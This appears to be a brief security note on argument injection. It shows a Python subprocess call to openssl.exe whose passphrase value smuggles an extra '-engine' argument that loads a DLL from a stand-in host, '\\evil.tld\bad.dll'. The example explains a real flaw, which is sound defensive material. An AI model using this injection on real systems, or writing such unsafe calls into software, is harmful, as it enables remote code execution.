You are able to inject -engine to load remote DLLs.
-engine
subprocess.run(['openssl.exe', 'enc', '-aes-256-cbc', '-in', 'in.txt', '-out', 'out.txt', '-k', 'p4ssphr4s3" "-engine" "\\\\evil.tld\\bad.dll'])